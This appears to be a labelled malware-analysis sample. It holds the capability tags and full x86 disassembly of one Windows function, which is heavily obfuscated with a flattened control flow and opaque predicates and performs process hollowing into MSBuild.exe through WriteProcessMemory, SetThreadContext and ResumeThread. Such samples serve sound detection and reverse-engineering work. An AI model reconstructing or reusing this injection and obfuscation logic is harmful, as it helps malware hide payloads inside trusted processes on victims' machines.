Function at 0x10008220
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x17c
mov eax, dword [0x10073c00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x184], 0xb4127990
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x188], eax
sub eax, 0x801b57a0
je 0x100147e9
jmp 0x1000825c
mov eax, dword [ebp - 0x188]
sub eax, 0x80580090
je 0x1000cb46
jmp 0x10008272
mov eax, dword [ebp - 0x188]
sub eax, 0x807755f0
je 0x1000e6bb
jmp 0x10008288
mov eax, dword [ebp - 0x188]
sub eax, 0x807d4f23
je 0x10011728
jmp 0x1000829e
mov eax, dword [ebp - 0x188]
sub eax, 0x813ff1e3
je 0x1001297b
jmp 0x100082b4
mov eax, dword [ebp - 0x188]
sub eax, 0x81ce544d
je 0x10016329
jmp 0x100082ca
mov eax, dword [ebp - 0x188]
sub eax, 0x81f1dfde
je 0x1000ede0
jmp 0x100082e0
mov eax, dword [ebp - 0x188]
sub eax, 0x8209c9d8
je 0x10014e41
jmp 0x100082f6
mov eax, dword [ebp - 0x188]
sub eax, 0x8255f0ba
je 0x100166ca
jmp 0x1000830c
mov eax, dword [ebp - 0x188]
sub eax, 0x8257c94c
je 0x1000dc0e
jmp 0x10008322
mov eax, dword [ebp - 0x188]
sub eax, 0x82eec77e
je 0x100117e9
jmp 0x10008338
mov eax, dword [ebp - 0x188]
sub eax, 0x83107f75
je 0x10016365
jmp 0x1000834e
mov eax, dword [ebp - 0x188]
sub eax, 0x8312bb11
je 0x10010d50
jmp 0x10008364
mov eax, dword [ebp - 0x188]
sub eax, 0x832d5836
je 0x100169a2
jmp 0x1000837a
mov eax, dword [ebp - 0x188]
sub eax, 0x8380b1b0
je 0x10015040
jmp 0x10008390
mov eax, dword [ebp - 0x188]
sub eax, 0x83a12e1d
je 0x10016eb5
jmp 0x100083a6
mov eax, dword [ebp - 0x188]
sub eax, 0x83bced2a
je 0x1001215b
jmp 0x100083bc
mov eax, dword [ebp - 0x188]
sub eax, 0x840d7202
je 0x1000dec7
jmp 0x100083d2
mov eax, dword [ebp - 0x188]
sub eax, 0x8464daa7
je 0x10010458
jmp 0x100083e8
mov eax, dword [ebp - 0x188]
sub eax, 0x846f4d62
je 0x10012cf3
jmp 0x100083fe
mov eax, dword [ebp - 0x188]
sub eax, 0x84c9e38d
je 0x10017102
jmp 0x10008414
mov eax, dword [ebp - 0x188]
sub eax, 0x853211bb
je 0x100100ec
jmp 0x1000842a
mov eax, dword [ebp - 0x188]
sub eax, 0x85dfbe22
je 0x10016b23
jmp 0x10008440
mov eax, dword [ebp - 0x188]
sub eax, 0x86079bab
je 0x10013120
jmp 0x10008456
mov eax, dword [ebp - 0x188]
sub eax, 0x861c4d3b
je 0x1001689c
jmp 0x1000846c
mov eax, dword [ebp - 0x188]
sub eax, 0x86280bd3
je 0x1001553e
jmp 0x10008482
mov eax, dword [ebp - 0x188]
sub eax, 0x86d14189
je 0x1000f268
jmp 0x10008498
mov eax, dword [ebp - 0x188]
sub eax, 0x870b873f
je 0x1000d8cd
jmp 0x100084ae
mov eax, dword [ebp - 0x188]
sub eax, 0x873698f2
je 0x1001620e
jmp 0x100084c4
mov eax, dword [ebp - 0x188]
sub eax, 0x87af463b
je 0x10016411
jmp 0x100084da
mov eax, dword [ebp - 0x188]
sub eax, 0x87bdbab2
je 0x10016926
jmp 0x100084f0
mov eax, dword [ebp - 0x188]
sub eax, 0x8816c297
je 0x100149e3
jmp 0x10008506
mov eax, dword [ebp - 0x188]
sub eax, 0x88577c62
je 0x1000c948
jmp 0x1000851c
mov eax, dword [ebp - 0x188]
sub eax, 0x888a6869
je 0x1000f3b9
jmp 0x10008532
mov eax, dword [ebp - 0x188]
sub eax, 0x889f816b
je 0x1000e167
jmp 0x10008548
mov eax, dword [ebp - 0x188]
sub eax, 0x88cadb0b
je 0x1000ce96
jmp 0x1000855e
mov eax, dword [ebp - 0x188]
sub eax, 0x897a9ad5
je 0x10017228
jmp 0x10008574
mov eax, dword [ebp - 0x188]
sub eax, 0x89a25187
je 0x100171bb
jmp 0x1000858a
mov eax, dword [ebp - 0x188]
sub eax, 0x89f15f98
je 0x1000cc15
jmp 0x100085a0
mov eax, dword [ebp - 0x188]
sub eax, 0x8a426f4c
je 0x1000d3ee
jmp 0x100085b6
mov eax, dword [ebp - 0x188]
sub eax, 0x8a8a0d54
je 0x10016821
jmp 0x100085cc
mov eax, dword [ebp - 0x188]
sub eax, 0x8ae63676
je 0x10015988
jmp 0x100085e2
mov eax, dword [ebp - 0x188]
sub eax, 0x8ba59352
je 0x10012a30
jmp 0x100085f8
mov eax, dword [ebp - 0x188]
sub eax, 0x8bbc5d1c
je 0x10012481
jmp 0x1000860e
mov eax, dword [ebp - 0x188]
sub eax, 0x8bdd889e
je 0x10016cb6
jmp 0x10008624
mov eax, dword [ebp - 0x188]
sub eax, 0x8c167364
je 0x10011977
jmp 0x1000863a
mov eax, dword [ebp - 0x188]
sub eax, 0x8c2aba08
je 0x10013dd1
jmp 0x10008650
mov eax, dword [ebp - 0x188]
sub eax, 0x8c3feeee
je 0x10013437
jmp 0x10008666
mov eax, dword [ebp - 0x188]
sub eax, 0x8cbbe76d
je 0x1000c65a
jmp 0x1000867c
mov eax, dword [ebp - 0x188]
sub eax, 0x8d737eb9
je 0x1001003d
jmp 0x10008692
mov eax, dword [ebp - 0x188]
sub eax, 0x8e51fdd4
je 0x10010d33
jmp 0x100086a8
mov eax, dword [ebp - 0x188]
sub eax, 0x8f132b4b
je 0x10010a41
jmp 0x100086be
mov eax, dword [ebp - 0x188]
sub eax, 0x8f2c4219
je 0x10015eef
jmp 0x100086d4
mov eax, dword [ebp - 0x188]
sub eax, 0x8f9ad46f
je 0x100164bc
jmp 0x100086ea
mov eax, dword [ebp - 0x188]
sub eax, 0x8fa3ac38
je 0x1000cad8
jmp 0x10008700
mov eax, dword [ebp - 0x188]
sub eax, 0x8fdaf9ea
je 0x100166bb
jmp 0x10008716
mov eax, dword [ebp - 0x188]
sub eax, 0x906630e0
je 0x1001725e
jmp 0x1000872c
mov eax, dword [ebp - 0x188]
sub eax, 0x9096f228
je 0x1000d91e
jmp 0x10008742
mov eax, dword [ebp - 0x188]
sub eax, 0x91977706
je 0x1000f00d
jmp 0x10008758
mov eax, dword [ebp - 0x188]
sub eax, 0x91b6b595
je 0x1000e4ae
jmp 0x1000876e
mov eax, dword [ebp - 0x188]
sub eax, 0x91e7265a
je 0x1000f49a
jmp 0x10008784
mov eax, dword [ebp - 0x188]
sub eax, 0x9256961f
je 0x100134e9
jmp 0x1000879a
mov eax, dword [ebp - 0x188]
sub eax, 0x92c21adc
je 0x1001618d
jmp 0x100087b0
mov eax, dword [ebp - 0x188]
sub eax, 0x939b4767
je 0x10011864
jmp 0x100087c6
mov eax, dword [ebp - 0x188]
sub eax, 0x93bf3626
je 0x10016a6a
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
movss xmm0, dword [0x100247ec]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100247e8]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100247e4]
movss dword [ebp - 0x130], xmm0
mov dl, 1
mov eax, 0xe6420ec0
mov ecx, 0x66e675c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov ecx, dword [0x10074f28]
mov eax, dword [0x10074f24]
mov edx, ecx
add edx, 0xa4f48656
sub edx, 1
sub edx, 0xa4f48656
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x630d0fc0
mov ecx, 0xcae998ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov eax, dword [0x10074f28]
mov ecx, dword [0x10074f24]
mov edx, eax
add edx, 0x27d5a42f
sub edx, 1
sub edx, 0x27d5a42f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf6c58fbc
mov ecx, 0x5d8ae104
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov eax, dword [0x10074f28]
mov ecx, dword [0x10074f24]
mov edx, eax
sub edx, 0xbea638f1
sub edx, 1
add edx, 0xbea638f1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8f9ad46f
mov ecx, 0xfdbe68ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov dword [ebp - 0x184], 0xcb1aa5ad
jmp 0x10017577
movss xmm0, dword [0x100247bc]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x184], 0xb64c3dcf
jmp 0x10017577
mov ecx, dword [0x10074f28]
mov eax, dword [0x10074f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x79da2b09
mov ecx, 0x5b83a2a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov eax, dword [0x10074f28]
mov ecx, dword [0x10074f24]
mov edx, eax
sub edx, 0x417c8494
sub edx, 1
add edx, 0x417c8494
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc5ab4660
mov ecx, 0x9096f228
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
movss xmm0, dword [0x10024528]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x10074f28]
mov eax, dword [0x10074f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc5ab4660
mov ecx, 0x572edc64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov ecx, dword [0x10074f28]
mov eax, dword [0x10074f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x46eba134
mov ecx, 0xaa3fe0a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov dl, 1
mov eax, 0x7c7f6c87
mov ecx, 0xa9c34fd2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov ecx, dword [0x10074f28]
mov eax, dword [0x10074f24]
mov edx, ecx
sub edx, 0x6891fe5a
sub edx, 1
add edx, 0x6891fe5a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2ea09d95
mov ecx, 0xb3779b9c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov dword [ebp - 0x184], 0x5076d264
jmp 0x10017577
movss xmm0, dword [0x10024758]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x184], 0x651aa265
jmp 0x10017577
mov dl, 1
mov eax, 0x94ebb2db
mov ecx, 0xe83cf83a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov dl, 1
mov eax, 0xd2c63fc8
mov ecx, 0x502f412d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
movss xmm0, dword [0x10024728]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x10024724]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x10024720]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x184], 0x62232b5b
jmp 0x10017577
movss xmm0, dword [0x10024714]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x184], 0x53b85137
jmp 0x10017577
mov eax, dword [0x10074f28]
mov ecx, dword [0x10074f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9fc9590c
mov ecx, 0x310aecbd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov eax, dword [0x10074f28]
mov ecx, dword [0x10074f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe4f4582d
mov ecx, 0x383dab49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
movss xmm0, dword [0x100246cc]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x184], 0xd8e59a94
jmp 0x10017577
mov dl, 1
mov eax, 0x7a3bc64d
mov ecx, 0x402d3dcb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov dword [ebp - 0x184], 0x52314e3c
jmp 0x10017577
mov dl, 1
mov eax, 0x5918c5a0
mov ecx, 0x8312bb11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
movss xmm0, dword [0x1002466c]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x184], 0x21e9e29c
jmp 0x10017577
mov eax, dword [0x10074f28]
mov ecx, dword [0x10074f24]
mov edx, eax
sub edx, 0x1971ebc4
sub edx, 1
add edx, 0x1971ebc4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1723bc53
mov ecx, 0xc3797a3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
movss xmm0, dword [0x10024640]
movss dword [ebp - 0x154], xmm0
mov dword [ebp - 0x184], 0xfc1ba3ef
jmp 0x10017577
movss xmm0, dword [0x10024630]
movss dword [ebp - 0x158], xmm0
mov dword [ebp - 0x184], 0xe2eae9d
jmp 0x10017577
mov dword [ebp - 0x184], 0x28d4e641
jmp 0x10017577
movss xmm0, dword [0x1002460c]
movss dword [ebp - 0x15c], xmm0
mov dword [ebp - 0x184], 0xc5f1f097
jmp 0x10017577
mov eax, dword [0x10074f28]
mov ecx, dword [0x10074f24]
mov edx, eax
sub edx, 0xd3b33fd4
sub edx, 1
add edx, 0xd3b33fd4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x40bb1a9d
mov ecx, 0xe015a597
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
movss xmm0, dword [0x10024428]
movss dword [ebp - 0x160], xmm0
movss xmm0, dword [0x10024424]
movss dword [ebp - 0x160], xmm0
movss xmm0, dword [0x10024420]
movss dword [ebp - 0x160], xmm0
mov ecx, dword [0x10074f28]
mov eax, dword [0x10074f24]
mov edx, ecx
add edx, 0xeb8183be
sub edx, 1
sub edx, 0xeb8183be
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa3e62d38
mov ecx, 0xba99df98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov dl, 1
mov eax, 0x5ce5a3ec
mov ecx, 0xd331a8ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
movss xmm0, dword [0x10024414]
movss dword [ebp - 0x160], xmm0
mov ecx, dword [0x10074f28]
mov eax, dword [0x10074f24]
mov edx, ecx
add edx, 0x4f98a871
sub edx, 1
sub edx, 0x4f98a871
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb4ba5388
mov ecx, 0x3dbdde55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov eax, dword [0x10074f28]
mov ecx, dword [0x10074f24]
mov edx, eax
add edx, 0x90af2440
sub edx, 1
sub edx, 0x90af2440
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b32b40c
mov ecx, 0x7f634002
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov eax, dword [0x10074f28]
mov ecx, dword [0x10074f24]
mov edx, eax
sub edx, 0x4a1240ae
sub edx, 1
add edx, 0x4a1240ae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1770693d
mov ecx, 0xa1b632a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov dword [ebp - 0x184], 0x67164610
jmp 0x10017577
movss xmm0, dword [0x100243d4]
movss dword [ebp - 0x168], xmm0
mov ecx, dword [0x10074f28]
mov eax, dword [0x10074f24]
mov edx, ecx
sub edx, 0xa26c4c2c
sub edx, 1
add edx, 0xa26c4c2c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x329b6ff2
mov ecx, 0x9d0b8a1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov eax, dword [0x10074f28]
mov ecx, dword [0x10074f24]
mov edx, eax
add edx, 0x81533686
sub edx, 1
sub edx, 0x81533686
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeac0150c
mov ecx, 0x98a15990
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov dl, 1
mov eax, 0x609285b0
mov ecx, 0x428a51ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov ecx, dword [0x10074f28]
mov eax, dword [0x10074f24]
mov edx, ecx
add edx, 0xe3144cad
sub edx, 1
sub edx, 0xe3144cad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x40e9197e
mov ecx, 0x884706d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xcd], al
mov ecx, dword [0x10074f28]
mov eax, dword [0x10074f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaf32d954
mov ecx, 0xb6edcbc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov dword [ebp - 0x184], 0xa6dc558e
jmp 0x10017577
mov dword [ebp - 0x184], 0xa6dc558e
jmp 0x10017577
mov eax, dword [ebp - 0xfc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x7c], eax
mov ecx, dword [0x10074f28]
mov eax, dword [0x10074f24]
mov edx, ecx
add edx, 0x556abdf1
sub edx, 1
sub edx, 0x556abdf1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc192684a
mov ecx, 0x1eab5fea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x78]
mov dword [eax], ecx
mov ecx, dword [0x10074f28]
mov eax, dword [0x10074f24]
mov edx, ecx
sub edx, 0xcb9838a7
sub edx, 1
add edx, 0xcb9838a7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x65fe98ba
mov ecx, 0x873698f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10017577
mov dword [ebp - 0x184], 0x13dd9156
jmp 0x10017577
mov dword [ebp - 0x184], 0xf6b9f3a1
jmp 0x10017577
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x6c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x17c]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x178]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x184], 0xf4655516
jmp 0x10017577
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x184], 0xb3a751ac
jmp 0x10017577
movss xmm0, dword [0x10024554]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x184], 0xfdbe68ff
jmp 0x10017577
mov dword [ebp - 0x184], 0x50cc5ac4
jmp 0x10017577
movss xmm0, dword [0x10024514]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x10024510]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x1002450c]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x184], 0x798b4dda
jmp 0x10017577
mov dword [ebp - 0x184], 0x65e577da
jmp 0x10017577
movss xmm0, dword [0x100244d4]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x184], 0x21444b11
jmp 0x10017577
mov dword [ebp - 0x184], 0x16257a38
jmp 0x10017577
movss xmm0, dword [0x100244b8]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x184], 0xb2a061f3
jmp 0x10017577
movss xmm0, dword [0x10024490]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x184], 0xeccced13
jmp 0x10017577
mov dword [ebp - 0x184], 0xe2e271dd
jmp 0x10017577
movss xmm0, dword [0x1002441c]
movss dword [ebp - 0x160], xmm0
movss xmm0, dword [0x10024418]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x184], 0xd2dab081
jmp 0x10017577
movss xmm0, dword [0x100243d0]
movss dword [ebp - 0x168], xmm0
mov dword [ebp - 0x184], 0xfd287370
jmp 0x10017577
movss xmm0, dword [0x100243bc]
movss dword [ebp - 0x16c], xmm0
mov dword [ebp - 0x184], 0xc962d248
jmp 0x10017577
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x184], 0x2a1f546c
jmp 0x10017577
mov al, byte [ebp - 0xde]
and al, 1
mov byte [ebp - 0x17d], al
mov eax, dword [ebp - 0x12c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov dword [ebp - 0x184], 0xfc688d6
jmp 0x10017577
jmp 0x10008240